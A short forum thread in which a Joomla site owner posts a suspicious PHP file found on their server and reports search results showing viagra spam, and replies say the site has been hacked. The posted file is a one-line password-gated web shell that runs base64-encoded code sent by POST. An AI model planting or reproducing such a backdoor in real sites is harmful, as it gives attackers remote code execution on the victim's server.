Unknown script

hi all,
i have joomla installed on my server and i get new file and this content of it:

<?php if(md5($_POST["password"])=="beb89daa79e6174f2ca4288"){eval(base64_decode($_POST["code"]));} ?>

i make the permission of this file to: 000

and if i search about my site in google it give me viagra site

please any information help me



You’ve been hacked. You should probably wipe out that installation and start fresh.

yea seems like it… logging your passwords and all